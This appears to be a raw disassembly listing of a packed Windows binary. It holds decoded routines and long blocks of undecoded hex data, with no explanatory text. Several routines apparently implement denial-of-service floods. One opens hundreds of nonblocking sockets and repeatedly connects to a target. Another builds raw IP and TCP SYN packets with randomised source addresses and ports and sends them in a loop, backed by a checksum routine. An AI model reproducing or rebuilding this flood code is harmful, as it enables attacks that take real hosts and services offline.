dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h, 8D500CC4h dd 0FFFBEC85h, 7A9868FFh, 0E8500043h, 805Eh, 0C483F633h dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h dd 50FFFFFFh, 0FDECB5FFh, 3AE8FFFFh, 83FFFF56h, 858D14C4h dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7490E8F0h, 5959FFFFh dd 0BDB2E856h, 5F90022Dh ; --------------------------------------------------------------------------- pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414251 proc near ; CODE XREF: ___:0041433Ap var_654 = byte ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call dword_4CB9D4 mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_41430F push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_41429C: ; CODE XREF: sub_414251+B9j lea esi, [ebp+var_654] mov ebx, edi loc_4142A4: ; CODE XREF: sub_414251+7Aj push 0 push 1 push 2 nop call near ptr 71AB3C22h cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_4142C7 lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax nop call near ptr 71AB155Ah loc_4142C7: ; CODE XREF: sub_414251+64j add esi, 4 dec ebx jnz short loc_4142A4 lea esi, [ebp+var_654] mov ebx, edi loc_4142D5: ; CODE XREF: sub_414251+96j lea eax, [ebp+var_14] push 10h push eax push dword ptr [esi] call near ptr 71AB3E5Dh nop add esi, 4 dec ebx jnz short loc_4142D5 push 64h call near ptr 2680EBDh nop lea esi, [ebp+var_654] mov ebx, edi loc_4142F9: ; CODE XREF: sub_414251+B4j push dword ptr [esi] nop call near ptr 71AB1A6Dh add esi, 4 dec ebx jnz short loc_4142F9 dec [ebp+arg_4] jnz short loc_41429C pop edi pop esi pop ebx loc_41430F: ; CODE XREF: sub_414251+3Ej xor eax, eax leave retn sub_414251 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40A8F0 push dword ptr [esp+18h] mov edi, eax call sub_41C159 push dword ptr [esp+20h] mov ebx, eax call sub_41C159 mov esi, eax push esi push ebx push edi call sub_414251 add esp, 18h test eax, eax jnz short loc_414349 push 1 pop eax loc_414349: ; CODE XREF: ___:00414344j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn ; --------------------------------------------------------------------------- dword_414358 dd 81EC8B55h, 414ECh, 8458B00h, 85B95756h, 8B000000h, 0ECBD8DF0h ; DATA XREF: sub_401ACD+636Bo dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 437AC4h, 7EB8E850h dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF5494E8h dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh dd 0FFFF72EAh, 0E8565959h, 22DBC0Ch db 90h ; --------------------------------------------------------------------------- pop edi pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4143F7 proc near ; CODE XREF: ___:004146E5p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CB944 test eax, eax jz short loc_414437 xor eax, eax jmp loc_4146A5 ; --------------------------------------------------------------------------- loc_414437: ; CODE XREF: sub_4143F7+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CBA78 cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_41469D push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_4CB9B4 cmp eax, 0FFFFFFFFh jz loc_414693 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_4CB9D4 mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_4CB9D4 push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_4CB9D4 push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_4CB9D4 mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx nop call near ptr 27A0543h lea eax, [ebp+var_8] push eax call near ptr 27A02A2h nop push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_41DB20 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_414522: ; CODE XREF: sub_4143F7+25Dj ; sub_4143F7+26Bj mov [ebp+var_24], bx call sub_41C2C2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CB9D4 mov [ebp+var_34], ax call sub_41C2C2 mov edi, eax shl edi, 10h call sub_41C2C2 or edi, eax push edi call dword_4CB9D4 movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CB9D0 push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CB9D4 mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41CD20 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_41CD20 lea eax, [ebp+var_B4] push 34h push eax call sub_40AA5F mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41CD20 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_41CD20 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41BF70 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AA5F mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41CD20 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_4CBA38 cmp eax, 0FFFFFFFFh jz short loc_414667 add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax nop call near ptr 27A02A2h mov eax, [ebp+var_4] cmp eax, esi jg short loc_414690 jl loc_414522 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_414690 jmp loc_414522 ; --------------------------------------------------------------------------- loc_414667: ; CODE XREF: sub_4143F7+247j call dword_4CB968 push eax lea eax, [ebp+var_F4] push offset dword_437AEC push eax call sub_41C266 lea eax, [ebp+var_F4] push eax call sub_415D38 add esp, 10h jmp short loc_414693 ; --------------------------------------------------------------------------- loc_414690: ; CODE XREF: sub_4143F7+25Bj ; sub_4143F7+269j mov ebx, [ebp+arg_8] loc_414693: ; CODE XREF: sub_4143F7+78j ; sub_4143F7+297j push [ebp+var_C] call dword_4CBA6C pop esi loc_41469D: ; CODE XREF: sub_4143F7+5Bj call dword_4CB92C mov eax, ebx loc_4146A5: ; CODE XREF: sub_4143F7+3Bj pop edi pop ebx leave retn sub_4143F7 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40A8F0 push dword ptr [esp+18h] mov esi, eax call sub_41C159 push dword ptr [esp+20h] mov ebx, eax call sub_41C159 mov edi, eax call sub_41C2C2 cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_4143F7 add esp, 1Ch test eax, eax jnz short loc_4146F4 push 1 pop eax loc_4146F4: ; CODE XREF: ___:004146EFj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- byte_414703 db 55h ; DATA XREF: sub_401ACD+6D3Do dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh dd 7A25h, 858D5059h, 0FFFFFE70h, 1415FF50h, 50004CBAh dd 5DE8h, 50595900h, 0FC6C858Dh, 0C68FFFFh, 5000437Bh dd 7B09E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h, 0E8FFFFFEh dd 0FFFF50E5h, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h dd 3BE8F075h, 59FFFF6Fh, 5DE85659h, 90022DB8h, 8B555E5Fh dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh dd 6583046Ah, 0BB5E00A8h, 0FFh, 0C033066Ah, 0AC7D8D5Ah dd 0FF7C8D89h, 45C7FFFFh, 280h, 84758900h, 0C7885589h dd 88C45h, 45C70000h, 0C90h, 9445C700h, 11h, 169845C7h dd 0C7000000h, 299C45h, 45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh dd 100h, 915FE857h, 89590000h, 5057FC45h, 0B9E815FFh, 75FF004Ch dd 5815FFFCh, 8B004CBAh, 6A530C40h, 8B026A03h, 89008B00h dd 15FFF445h, 4CBA54h, 56D84D8Dh, 6A026A51h, 45895000h dd 0B415FFFCh, 0BE004CB9h, 200h, 7627E856h, 3D8B0000h dd 4270B0h, 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0B9D415FFh, 8966004Ch dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h dd 870F0C45h, 0CFh, 79E5E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h dd 0E2C100FFh, 89D00B18h, 0CBE8F455h, 99000079h, 0F9F7CB8Bh dd 0E8AC5589h, 79BEh, 1FA4B999h, 45C60000h, 0F9F745DCh dd 4DD45C6h, 0E8D45589h, 79A6h, 0E0458966h, 799DE8h, 990A6A00h dd 66F9F759h, 0B095448Bh, 0D415FF50h, 56004CB9h, 0E2458966h dd 0B9D415FFh, 8966004Ch, 5D88DE45h, 7974E8E4h, 0E6A0000h dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF60EAE8h, 458966FFh dd 0DC458DE6h, 0FF50146Ah, 99E8F875h, 83000083h, 858D14C4h dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0BA3815FFh dd 1AE9004Ch, 0FFFFFFFFh, 0E2E8F875h, 59000070h, 0FFFC75FFh dd 4CBA6C15h, 58016A00h, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- byte_4149C1 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+5306o dd 440EC81h, 458B0000h, 57565308h, 0F08B686Ah, 0C0BD8D59h dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah dd 19Ch, 88C03359h, 0FFFF609Dh, 66ABF3FFh, 3D8BAAABh, 4270B0h dd 0E850D7FFh, 78ACh, 0FF6859h, 36A0000h, 15FF026Ah, 4CBA54h dd 89FFF883h, 6675FC45h, 0B96815FFh, 8D50004Ch, 0FFFBC085h dd 7C2468FFh, 0E8500043h, 782Ah, 390CC483h, 0FFFF589Dh dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h dd 50FFFFFEh, 0FDC0B5FFh, 2E8FFFFh, 83FFFF4Eh, 858D14C4h dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF6C55E8h dd 535959FFh, 0B576E890h, 4D8D022Dh, 51046ACCh, 5053026Ah dd 0FFCC7589h, 4CB9B415h, 0FFF88300h, 15FF6675h, 4CB968h dd 0C0858D50h, 68FFFFFBh, 437BECh, 77ACE850h, 0C4830000h dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h, 0FF54B5FFh dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF4D84E8h dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh dd 0D7E8FFFFh, 59FFFF6Bh, 0E8905359h, 22DB4F8h, 0FDC4858Dh dd 0FF50FFFFh, 4CBA1415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h dd 437BCC68h, 3BE85000h, 39000077h, 0FFFF589Dh, 755959FFh dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h dd 0B5FF50FFh, 0FFFFFDC0h, 0FF4D14E8h, 14C483FFh, 0FBC0858Dh dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 67E8FFFFh, 59FFFF6Bh dd 0E8905359h, 22DB488h, 458D106Ah, 0E85053BCh, 73ECh dd 660CC483h, 2BC45C7h, 15FF5300h, 4CB9D4h, 0BE458966h dd 0FDC4858Dh, 0FF50FFFFh, 4CBA1415h, 0C0458900h, 0FF085D89h dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0B9D415FFh dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h dd 80DC45C6h, 6DD45C6h, 0DE5D8966h, 0C7E82D74h, 8B000076h dd 8E6C1F0h, 76BDE8h, 0C1F00300h, 0B3E808E6h, 3000076h dd 8E6C1F0h, 76A9E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh dd 0FFFDC0B5h, 5DD8E8FFh, 5059FFFFh, 0BA1415FFh, 4589004Ch dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7676h dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 0D415FFFFh dd 66004CB9h, 0E8EA4589h, 7656h, 401B999h, 0F9F70000h dd 0D415FF52h, 68004CB9h, 12345678h, 0E8458966h, 0B9D015FFh dd 4589004Ch, 44858DECh, 68FFFFFEh, 42B0D0h, 7642E850h dd 85590000h, 97459C0h, 0C6F05D89h, 0EB02F545h, 44858D5Ch dd 68FFFFFEh, 42AEE8h, 7622E850h, 85590000h, 97459C0h dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42AEE0h dd 7602E850h, 85590000h, 257459C0h, 75D9E8h, 99036A00h dd 89F9F759h, 0CBE8F055h, 6A000075h, 0F7599902h, 1ADAF7F9h dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h dd 4CB9D4h, 0F6458966h, 89E0458Bh, 458B9C45h, 66146AE4h dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h, 0D415FF06h dd 66004CB9h, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh dd 7FCBE8h, 0E8458D00h, 8D50146Ah, 0E8508045h, 7FBCh, 0FF60858Dh dd 346AFFFFh, 5CEDE850h, 8966FFFFh, 458DF845h, 50146AD4h dd 0FF60858Dh, 0E850FFFFh, 7F98h, 6AE8458Dh, 858D5014h dd 0FFFFFF74h, 7F86E850h, 46A0000h, 5388458Dh, 71CAE850h dd 0C4830000h, 60858D44h, 6AFFFFFFh, 0A8E85028h, 66FFFF5Ch dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 7F53E8h dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h, 503C6AFFh dd 0FFFC75FFh, 4CBA3815h, 0FFF88300h, 45FF0874h, 0FDBAE908h dd 75FFFFFFh, 6C15FFFCh, 0FF004CBAh, 4CB96815h, 858D5000h dd 0FFFFFDC4h, 500875FFh, 437B7C68h, 0C0858D00h, 68FFFFFBh dd 200h, 753AE850h, 0C4830000h, 589D3918h, 75FFFFFFh, 858D5323h dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh dd 0FFFFFDC0h, 0FF4A18E8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh dd 0ED8h, 0FF44B5FFh, 6BE8FFFFh, 59FFFF68h, 0E8905359h dd 22DB18Ch, 0FFFC75FFh, 4CBA6C15h, 8458B00h, 0C06BD233h dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h dd 437B2C68h, 0AFE85000h, 83000073h, 9D391CC4h, 0FFFFFF58h dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh dd 0FF50FFFFh, 0FFFDC0B5h, 4987E8FFh, 0C483FFFFh, 0C0858D14h dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF67DAh dd 90535959h, 2DB0FBE8h db 2 ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+0Ch] mov edx, [ebp+8] push esi xor esi, esi cmp eax, 1 mov [ebp+0Ch], esi jle short loc_414F31 mov ecx, eax push edi shr ecx, 1 lea edi, [ecx+ecx] sub eax, edi loc_414F23: ; CODE XREF: ___:00414F2Bj movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec ecx jnz short loc_414F23 pop edi cmp eax, 1 loc_414F31: ; CODE XREF: ___:00414F17j jnz short loc_414F3E mov al, [edx] mov [ebp+0Ch], al movzx eax, word ptr [ebp+0Ch] add esi, eax loc_414F3E: ; CODE XREF: ___:loc_414F31j mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax pop ebp retn ; --------------------------------------------------------------------------- byte_414F57 db 55h ; DATA XREF: sub_401ACD+6C68o dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh dd 71D1h, 858D5059h, 0FFFFFE70h, 1415FF50h, 50004CBAh dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh dd 5Fh, 19CC481h, 8D500000h, 0FFFC6C85h, 7C5868FFh, 0E8500043h dd 729Eh, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 7AE8FFFFh dd 83FFFF48h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h, 75FF0000h dd 66D0E8F0h, 5959FFFFh, 0AFF2E856h, 5590022Dh, 0EC81EC8Bh dd 0CCh, 358B5653h, 4270B0h, 8957DB33h, 0D6FFFC5Dh, 0FF68h dd 6A036A00h, 0F0458902h, 0BA5415FFh, 4589004Ch, 50D6FFF8h dd 7273E8h, 78BF5900h, 57000005h, 16A096Ah, 3B7CE8h, 50595900h dd 50D8458Dh, 6F0FE8h, 0CC48300h, 5A0BEh, 22E89000h, 2B0228B8h dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h dd 4CF1801Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h dd 6ED0h, 8D0CC483h, 8D50EC45h, 0FF509845h, 15FF0875h dd 4CB978h, 0FF68h, 0E8016A00h, 3B11h, 0F505959h, 509E45B6h dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h, 42D90468h dd 83E85000h, 83000071h, 13EB18C4h, 0FF34858Dh, 6068FFFFh dd 50004CEBh, 7797E8h, 8D595900h, 0FFFF3485h, 15FF50FFh dd 4CBA14h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h dd 15FFA845h, 4CB9D4h, 0AE458966h, 7199E8h, 45896600h dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h dd 0C640B445h, 6606B545h, 89B65D89h, 6FE8BC45h, 66000071h dd 0E8C04589h, 7166h, 0C2458966h, 715DE8h, 0C4458900h dd 7155E8h, 0C8458900h, 66CC458Bh, 6AFF5025h, 0C6500C14h dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h, 66D45D89h dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh dd 6FFFFFFh, 69C55DE8h, 89669071h, 0FFFF5E85h, 60858DFFh dd 6AFFFFFFh, 458D5014h, 1DE850C0h, 8D00007Bh, 0FFFF7485h dd 8D5057FFh, 0E850D845h, 7B0Ch, 0FF54858Dh, 9868FFFFh dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah dd 8D535088h, 5056A845h, 0FFF875FFh, 4CBA3815h, 0FC45FF00h dd 0FFFE20E9h, 0F875FFFFh, 0BA6C15FFh, 458B004Ch, 5B5E5FFCh ; --------------------------------------------------------------------------- leave retn ; --------------------------------------------------------------------------- word_41525A dw 8B55h ; DATA XREF: sub_401ACD+4B97o dword_41525C dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h ; DATA XREF: Themida_:0055C2DDo dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh dd 1082C7FCh, 1000002h, 0F3000000h, 37E8A5h, 0C4810000h dd 214h, 0EC858D50h, 68FFFFFBh, 437C8Ch, 6FB4E850h, 858D0000h dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6410E8F0h, 0C483FFFFh dd 90006A14h, 2DAD2FE8h, 0EC8B5502h, 254EC81h, 56530000h dd 0FFBBh, 6A535700h, 0FF026A03h, 4CBA5415h, 0FFF88300h dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 437E7Ch, 6F60E850h dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h dd 0C7505702h, 1EC45h, 15FF0000h, 4CB9B4h, 75FFF883h, 6815FF0Eh dd 50004CB9h, 437E2C68h, 8D1BEB00h, 0FF500C45h, 4CBA1415h dd 0FFF88300h, 15FF2075h, 4CB968h, 7DE86850h, 858D0043h dd 0FFFFFDACh, 6F04E850h, 0C4830000h, 26EE90Ch, 66570000h dd 2DC45C7h, 0D415FF00h, 66004CB9h, 8DDE4589h, 0E8500C45h dd 7169BF74h, 0B0358B90h, 89004270h, 0D6FFE045h, 8DF84589h dd 8D500C45h, 0FFFDAC85h, 7DBC68FFh, 0E8500043h, 6EBEh dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF4499h dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h dd 858DF08Bh, 10Ch, 6D67E850h, 0F03B0000h, 93870F59h, 0BE000001h dd 41Ch, 0FFBB05EBh, 39000000h, 4CF1803Dh, 6A527500h, 45895810h dd 458D50F0h, 0E85057CCh, 6B50h, 8D0CC483h, 8D50F045h dd 0FF50CC45h, 15FF0875h, 4CB978h, 0E8016A53h, 3795h, 0F505959h dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h, 0D90468ACh dd 0E8500042h, 6E0Ah, 0EB18C483h, 0AC458D10h, 4CEB6068h dd 21E85000h, 59000074h, 5C65659h, 4CED60h, 0D415FF45h dd 66004CB9h, 4CED62A3h, 0AC458D00h, 5C76650h, 4CED64h dd 89660001h, 4CED663Dh, 6805C600h, 80004CEDh, 0ED6905C6h dd 6611004Ch, 0ED6A3D89h, 15FF004Ch, 4CBA14h, 4CED6CA3h dd 0E0458B00h, 4CED70A3h, 8C858D00h, 50000000h, 7A3D8966h dd 0E8004CEDh, 6C85h, 7559C085h, 6DE4E810h, 0B9990000h dd 401h, 0EB52F9F7h, 8C858D0Eh, 50000000h, 6C64E8h, 0FF505900h dd 4CB9D415h, 76A36600h, 0E8004CEDh, 6DBAh, 401B999h, 8680000h dd 0F7000004h, 158966F9h, 4CED74h, 0B9D415FFh, 68004Ch dd 66000004h, 4CED78A3h, 6D90E800h, 0F7990000h, 7C6852FBh dd 0E8004CEDh, 6A30h, 8D0CC483h, 106ADC45h, 68565750h dd 4CED60h, 0FFF475FFh, 4CBA3815h, 0FFF88300h, 0A5840Fh dd 45FF0000h, 26E890FCh, 2B0228B3h, 0D233F845h, 3E8B9h dd 8BF1F700h, 0C858DD8h, 50000001h, 6BD4E8h, 59D83B00h dd 0FE74860Fh, 75FFFFFFh, 6C15FFF4h, 8B004CBAh, 858DFC75h dd 10Ch, 1CF66950h, 0E8000004h, 6BADh, 8BD23359h, 0C1C68BC8h dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 437D5868h dd 0AC858D00h, 50FFFFFDh, 6C91E8h, 18C48300h, 214BD39h dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h dd 18Ch, 875FF50h, 0FF426CE8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh dd 0FF56FC75h, 4CB96815h, 458D5000h, 0CC68500Ch, 0EB00437Ch db 0ACh byte_41561D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6283o dd 414EC81h, 458B0000h, 0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6B09h, 858D5059h dd 0FFFFFE70h, 6AFBE850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh dd 4CBA1415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h dd 7EA868FFh, 0E8500043h, 6BDEh, 0C483F633h, 0F875390Ch dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh dd 0FDECB5FFh, 0BAE8FFFFh, 83FFFF41h, 858D14C4h, 0FFFFFBECh dd 67AE850h, 75FF0000h, 6010E8F0h, 5959FFFFh, 31E89056h dd 5F022DA9h ; --------------------------------------------------------------------------- pop esi push ebp mov ebp, esp sub esp, 210h and dword ptr [ebp-4], 0 cmp dword ptr [ebp+14h], 0 push esi push edi jnz short loc_4156FA push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] nop call near ptr 71AB3E5Dh jmp loc_4157B6 ; --------------------------------------------------------------------------- loc_4156FA: ; CODE XREF: ___:004156E4j mov esi, [ebp+8] push 1 pop edi lea eax, [ebp-8] push eax push 8004667Eh push esi mov [ebp-8], edi nop call near ptr 71AB155Ah push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push esi call dword_4CB97C push dword ptr [ebp+14h] lea eax, [ebp-210h] mov [ebp-108h], esi mov [ebp-10Ch], edi push 0 push eax lea eax, [ebp-10Ch] mov [ebp-20Ch], esi push eax lea eax, [esi+1] push eax mov [ebp-210h], edi call dword_4CB9BC test eax, eax jnz short loc_41575E or eax, 0FFFFFFFFh jmp short loc_4157B6 ; --------------------------------------------------------------------------- 